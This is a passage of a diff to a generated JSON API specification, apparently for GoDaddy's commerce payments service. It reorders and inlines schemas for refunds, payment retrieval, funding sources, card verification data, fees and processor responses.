"https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true }, - "required": [ - "type" - ] - } + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" } - } - ], + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Paypal token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "PaypalPaymentToken", + "type": "object" + } + ], + "properties": { + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" + } + }, + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" + }, + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Refund Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "type": "array" + } + }, + "title": "Refunds" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "refundPayment", + "method": "POST", + "path": "/stores/{storeId}/payments/{paymentId}/refunds", + "summary": "Refund Payment", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } }, "required": [ - "token" - ] + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/paypal-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaypalPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } - } - } - ], "properties": { - "token": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "description": "Paypal token", "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } }, "required": [ - "token" - ] + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" - } - }, "properties": { - "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" + "feeType": { + "description": "Fee type discriminator", + "type": "string" } }, "required": [ - "sourceType" - ] + "feeType" + ], + "title": "Fee", + "type": "object" }, - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - }, - "readOnly": true, - "description": "Refunds for the payment" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "updatedAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Last updated time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - }, - "additionalProcessingInstruction": { - "description": "Processing instruction", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Processing Instruction", - "type": "object", - "properties": { - "authOnly": { - "type": "boolean", - "default": false, - "writeOnly": true, - "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment" + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" }, - "partialAuthEnabled": { - "type": "boolean", - "default": true, - "writeOnly": true, - "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment" + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } - }, - "externalProcessor": { - "type": "string", - "description": "Processor that has already processed this payment externally" - } - }, - "required": [ - "type", - "amount", - "fundingSource", - "createdAt" - ] - }, - "type": "array" - }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" }, - "rel": { - "type": "string" - } + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", + ], "properties": { - "href": { - "type": "string" - }, - "rel": { + "amountType": { "type": "string" } - } - } - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getPaymentById", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}", - "summary": "Get Payment", - "description": "Retrieve the information of the Payment by the payment ID.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - ], - "responses": { - "200": { - "description": "Payment Found", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment", - "type": "object", - "x-tags": [ - "transaction", - "payments" - ], - "x-generic-type": "Payment", - "description": "A monetary transfer of funds from a funding source to the recipient merchant", - "properties": { - "id": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "refNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "type": { - "$id": "https://godaddy.com/schemas/commerce/payment/type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Type", - "type": "string", - "enum": [ - "AUTHORIZATION", - "SALE", - "REFUND" - ], - "description": "Payment type" - }, - "amount": { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } + "title": "PaymentContext", + "type": "object" } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } }, - "required": [ - "amount", - "type" - ] + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - "required": [ - "amount", - "type", - "signature" - ] + "title": "Card Processor Response", + "type": "object" } ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" } }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ], - "description": "Payment amount requested" - }, - "netAmount": { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": 